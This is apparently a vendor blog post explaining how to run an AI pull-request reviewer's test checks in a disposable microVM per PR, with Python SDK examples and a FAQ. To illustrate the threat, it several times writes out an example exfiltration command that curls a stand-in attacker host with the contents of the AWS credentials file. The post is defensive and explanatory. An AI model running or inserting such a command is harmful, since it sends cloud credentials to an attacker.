all posts

Give Your AI Coding Agent a Sandbox to Run PR Checks

Ajay Kumar··8 min read

You built an AI reviewer. It watches for pull requests, clones the branch, runs the test suite and the linters and the build, reads the failures, and posts a review comment. Genuinely useful — it catches the broken tests a human skims past. But look closely at step two: it clones the branch and runs its tests. On a public repo, that branch is code a stranger wrote. And "run its tests" means executing that stranger's Python, on your infrastructure, with whatever your CI host can reach.

The trouble is that a test is just code, and code in a test file runs the moment the test runner imports it. There is nothing stopping a contributor from opening a friendly-looking PR whose `tests/test_utils.py` contains, at module scope, `os.system("curl https://evil.example -d @$HOME/.aws/credentials")`. Your reviewer dutifully runs `pytest`, the import fires, and your deploy keys take a one-way trip to someone else's server. The agent did exactly what you told it to. That's the problem.

The fix is not smarter static analysis of the diff — you can't reliably detect malice in arbitrary code, and you shouldn't try. The fix is to run each PR's checks somewhere the code can thrash around, exfiltrate nothing, and get thrown away. One throwaway microVM per PR. I'm Ajay, I built PandaStack; this is the pattern we built the platform for, and I'll show you the loop end to end.

Why running an arbitrary PR's tests on your CI host is dangerous

A CI host — or the box your agent runs on — is one of the most credential-rich machines you own. It holds registry push tokens, cloud deploy keys, package-registry secrets, and often a broadly-scoped service account, because CI's whole job is to build and ship. That's fine when the code it runs is yours. The instant you run a fork's PR there, you've handed a stranger a shell in the room where the keys are kept.

  • Tests execute on import — module-level code, conftest.py fixtures, and setup.py all run before a single assertion is checked. A malicious payload doesn't need to be in a test that "passes."
  • Environment variables are ambient — anything in the process environment (AWS_SECRET_ACCESS_KEY, NPM_TOKEN, GITHUB_TOKEN) is one os.environ away from the untrusted code.
  • The network is wide open — a default CI host can reach your internal metadata endpoint, your artifact registry, and the public internet, so exfiltration is a single HTTP request.
  • Install steps run code too — npm install runs postinstall scripts; pip install runs setup.py. The attack surface starts before your test command does.
  • Persistence and lateral movement — a compromised long-lived runner can poison caches, tamper with later builds, or sit and wait for a juicier branch.
"But it only runs on our self-hosted runner behind a VPN" makes it worse, not better. A shared, network-connected, credential-loaded runner is the ideal foothold: the untrusted code lands somewhere trusted and well-connected. The right question isn't "is the runner isolated from the internet" — it's "what happens to the rest of my infrastructure when this exact process is hostile."

The pattern: one microVM per PR

Instead of running the checks in your agent's process (or a shared container that quietly shares the host kernel), give each PR a fresh Firecracker microVM. The agent stays on your trusted host holding no untrusted code; it drives a disposable sandbox over the API. The sandbox has its own guest kernel, its own filesystem, its own network namespace, and — critically — none of your secrets unless you deliberately put them there. When the checks finish, you kill it, and the entire blast radius goes with it.

The reason this is practical and not just theoretically nice is latency. A cold Firecracker boot is a couple of seconds, but PandaStack creates sandboxes by restoring a baked snapshot on demand — the restore step is around 49ms, and end-to-end create is p50 179ms (p99 ~203ms). A microVM per PR costs you a fifth of a second, not a fifth of your morning. You get VM-grade isolation at roughly the cost of a `docker run`, and each agent has 16,384 pre-allocated network slots, so hundreds of PRs in flight is not a capacity problem.

The trust boundary you want is: my agent is trusted, the PR is not, and the two only meet inside a VM that exists for ninety seconds and then doesn't.

Clone, install, and run the tests — inside the sandbox

Here's the core loop. The agent creates an ephemeral sandbox, clones the PR branch inside it, installs dependencies inside it, runs the test suite inside it, and captures the result. Every step where untrusted code touches a disk or a CPU happens in the guest. Set PANDASTACK_API_KEY in your environment and the SDK picks it up; the `with` block guarantees the VM is destroyed even if an assertion throws.

from pandastack import Sandbox

# The PR under review (a fork's branch — untrusted by default).
REPO = "https://github.com/acme/widgets.git"
BRANCH = "pr-4217-add-retry-logic"

# ttl_seconds is a backstop: if we crash before kill(), the VM reaps itself.
with Sandbox.create(template="base", ttl_seconds=600) as sbx:
    # 1. Clone the branch INSIDE the guest. Nothing touches your host disk.
    clone = sbx.exec(
        f"git clone --depth 1 --branch {BRANCH} {REPO} /workspace/repo",
        timeout_seconds=120,
    )
    assert clone.exit_code == 0, clone.stderr

    # 2. Install deps INSIDE the guest. postinstall/setup.py run here, not on CI.
    install = sbx.exec(
        "cd /workspace/repo && pip install -e '.[dev]'",
        timeout_seconds=300,
    )

    # 3. Run the test suite INSIDE the guest, capturing a machine-readable report.
    tests = sbx.exec(
        "cd /workspace/repo && pytest -q --junitxml=/workspace/report.xml",
        timeout_seconds=300,
    )

    print("tests exit:", tests.exit_code)
    print(tests.stdout[-2000:])  # tail of the output for the review comment
# VM is destroyed here — along with anything the PR's code left behind.

Notice what the untrusted `curl https://evil.example -d @$HOME/.aws/credentials` line gets to work with now: an `$HOME` with no AWS credentials in it, a process environment you didn't populate with secrets, and a network namespace you can restrict at the platform layer. It can still run — you're executing a stranger's tests, that's the whole point — but there's nothing valuable in the room, and the room is demolished in ten minutes regardless.

Keep the agent's real credentials on the trusted host. The sandbox does not need your GitHub app token to clone a public PR, and it definitely doesn't need your deploy keys. If a private repo requires auth, pass a narrowly-scoped, short-lived clone token — never your CI's blanket service-account credentials.

Capturing results and posting the review

Your agent needs to turn a run into a comment. Prefer a structured artifact over scraping stdout: have the test command write a JUnit XML (or a JSON summary) to a known path, then read it back out over the filesystem API. `filesystem.read` returns the raw bytes; parse them on your trusted host, where the parsing itself is safe.

from pandastack import Sandbox
import xml.etree.ElementTree as ET

def review_pr(repo: str, branch: str) -> dict:
    with Sandbox.create(template="base", ttl_seconds=600) as sbx:
        sbx.exec(
            f"git clone --depth 1 --branch {branch} {repo} /workspace/repo",
            timeout_seconds=120,
        )
        sbx.exec(
            "cd /workspace/repo && pip install -e '.[dev]'",
            timeout_seconds=300,
        )
        run = sbx.exec(
            "cd /workspace/repo && pytest -q --junitxml=/workspace/report.xml "
            "|| true",  # don't let a non-zero exit skip the artifact read
            timeout_seconds=300,
        )

        # Pull the machine-readable report out of the guest as bytes.
        report = sbx.filesystem.read("/workspace/report.xml")
        suite = ET.fromstring(report)
        return {
            "tests": int(suite.get("tests", 0)),
            "failures": int(suite.get("failures", 0)),
            "errors": int(suite.get("errors", 0)),
            "tail": run.stdout[-1500:],
        }
    # sandbox already destroyed by the time we return

summary = review_pr(
    "https://github.com/acme/widgets.git", "pr-4217-add-retry-logic"
)
print(summary)
# -> feed summary into your LLM prompt, then post a PR comment from the HOST.

The division of labor is the point: untrusted code runs in the guest and produces a report; your trusted host reads the report, asks the model to summarize it, and posts the comment using credentials the guest never saw. The model reasons over the results of the run, not inside the run.

Ephemeral teardown is the security model

The `with Sandbox.create(...) as sbx:` block kills the VM on exit — success, exception, or timeout — so a PR's environment never outlives the check that needed it. This isn't just tidiness; it's the security property. A container you reuse across PRs is a container a compromised PR can leave a gift in for the next one. A microVM you destroy after every run has no next one. Combine the context manager with a `ttl_seconds` backstop and there is no realistic path to a lingering, poisoned runner.

  • One sandbox per PR run — never reuse a VM across two different PRs, and never across two different forks. Reuse re-opens the exact hole you closed.
  • Always set timeout_seconds on every exec — a stranger's test suite will hang, spin, or fork-bomb; the timeout is your circuit breaker.
  • Always set ttl_seconds on create — belt and suspenders in case your agent crashes between create and kill.
  • Restrict guest egress at the network layer if exfiltration is in your threat model — don't rely on the untrusted code choosing not to phone home.
  • Never inject real secrets into the guest — the sandbox isolates execution, not the credentials you hand it.

Skip re-installing deps: fork a warm base

Cloning is cheap; installing dependencies is not. If every PR run does a cold `pip install -e '.[dev]'` (or `npm ci`), you're paying minutes per review re-downloading the same wheels. Because each PR's checks are ephemeral, you'd naively redo that work every single time. Snapshot and fork fixes this.

The move: create one sandbox, clone the repo's default branch, install the full dependency set, and snapshot that configured state as a warm base. Then for each incoming PR, `fork` the warm base instead of creating from scratch — the fork already has the virtualenv and node_modules populated, so you only fetch the PR's diff and run the tests. A same-host fork lands in roughly 400–750ms and shares the base's memory and disk copy-on-write, so a hundred forks don't cost a hundred copies of your dependency tree. (Cross-host forks run 1.2–3.5s when the base lives on another agent.)

from pandastack import Sandbox

# --- Once per repo (or whenever dependencies change): build a warm base. ---
base = Sandbox.create(template="base", persistent=True)
base.exec(
    "git clone --depth 1 https://github.com/acme/widgets.git /workspace/repo",
    timeout_seconds=120,
)
base.exec(
    "cd /workspace/repo && pip install -e '.[dev]'",  # the slow part, done ONCE
    timeout_seconds=600,
)
snap = base.snapshot()   # capture the fully-installed state
base.hibernate()         # park the base; forks don't need it running

# --- Per PR: fork the warm base — deps are already there. ---
with snap.fork(ttl_seconds=600) as sbx:
    # Only fetch the PR's diff onto the pre-installed tree.
    sbx.exec(
        "cd /workspace/repo && git fetch origin "
        "pr-4217-add-retry-logic && git checkout FETCH_HEAD",
        timeout_seconds=120,
    )
    # A quick reinstall picks up any dependency the PR added; usually a no-op.
    sbx.exec("cd /workspace/repo && pip install -e '.[dev]'", timeout_seconds=180)
    tests = sbx.exec(
        "cd /workspace/repo && pytest -q", timeout_seconds=300
    )
    print("exit:", tests.exit_code)
# fork destroyed; the warm base is untouched and ready for the next PR
The warm base must only ever contain trusted code — your repo's own dependencies, installed by you. Never fold a PR's changes back into the base you fork from, or you'll be seeding every future run with a previous PR's untrusted code. The base is trusted-and-shared; each fork is untrusted-and-disposable.

Sandbox-per-PR vs. the alternatives

  • Untrusted-code safety — Shared CI runner: the code runs next to your secrets; a malicious test can read them. MicroVM per PR: separate guest kernel and env; nothing valuable is in the guest to steal.
  • Blast radius on compromise — Shared runner: host + every later build on it. MicroVM per PR: one throwaway VM, destroyed after the run.
  • Isolation strength — Docker container per PR: shares the host kernel; container escape reaches the host. MicroVM per PR: hardware-virtualized boundary (the model AWS Lambda runs untrusted code with).
  • Startup cost — Fresh cloud VM per PR: tens of seconds to boot. MicroVM per PR: ~179ms p50 create via snapshot-restore; ~400ms same-host fork of a warm base.
  • Dependency re-install cost — Cold container/VM: full install every run. Fork a warm base: install once, fork copy-on-write per PR.
  • Cleanup guarantee — Reused runner: manual, error-prone, and a persistence target. Ephemeral microVM: context manager + TTL destroy it automatically.

None of this makes your reviewer smarter — the LLM still does the reading and the commenting. What it changes is where the reading happens: your agent reasons over the results of an untrusted run instead of hosting that run itself. The PR's code gets a full, real environment to prove itself in, and your keys never enter the room. That's the whole trade, and at ~179ms per sandbox it's nearly free.

Frequently asked questions

Why is running a pull request's tests on my CI host actually dangerous?

Because tests are code that runs on import — module-level statements, conftest.py fixtures, and setup.py all execute before any assertion. A contributor can put os.system("curl evil.example -d @$HOME/.aws/credentials") at the top of a test file, and your reviewer runs it the moment it invokes pytest. CI hosts are credential-rich (deploy keys, registry tokens, service accounts) and network-connected, so a single line of a stranger's test can exfiltrate secrets. Run each PR's checks in a disposable microVM that holds none of your credentials instead.

How do I run an AI PR-review agent's checks safely?

Keep the agent on your trusted host and have it drive a fresh sandbox per PR over the API. With PandaStack, create a sandbox on the base template, git clone the PR branch inside the guest, install dependencies inside the guest, run the test suite inside the guest with a timeout, then read a structured report (JUnit XML or JSON) back with the filesystem API. Your host parses the report and posts the comment using credentials the guest never saw. The with-block destroys the VM when the run finishes.

Isn't a Docker container enough to isolate an untrusted PR?

A plain container shares the host kernel, so a container escape or kernel bug reaches the host and every other build on it — a known class of vulnerability. For untrusted code from arbitrary contributors you want a hardware-virtualized boundary. A Firecracker microVM boots its own guest kernel, so the same class of bug is contained to one disposable VM. That's the isolation model AWS Lambda uses to run untrusted code from many tenants.

How do I avoid re-installing dependencies for every PR?

Build a warm base once: create a sandbox, clone your repo's default branch, run the full install, then snapshot it. For each PR, fork that snapshot instead of creating from scratch — the fork already has the virtualenv and node_modules populated, so you only fetch the PR's diff and run tests. A same-host fork is roughly 400–750ms and shares the base's memory and disk copy-on-write, so many concurrent forks don't duplicate the dependency tree. Never fold a PR's changes back into the base.

What performance can I expect for a sandbox-per-PR setup?

On PandaStack a sandbox create is p50 179ms (p99 ~203ms), because every create restores a baked snapshot on demand — the restore step itself is around 49ms — rather than cold-booting (a cold boot is ~3s and only happens once, at bake time). Forking a warm base is ~400–750ms same-host, or 1.2–3.5s cross-host. Each agent has 16,384 pre-allocated network slots, so running hundreds of PR checks concurrently is not a capacity limit — memory and CPU are.

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.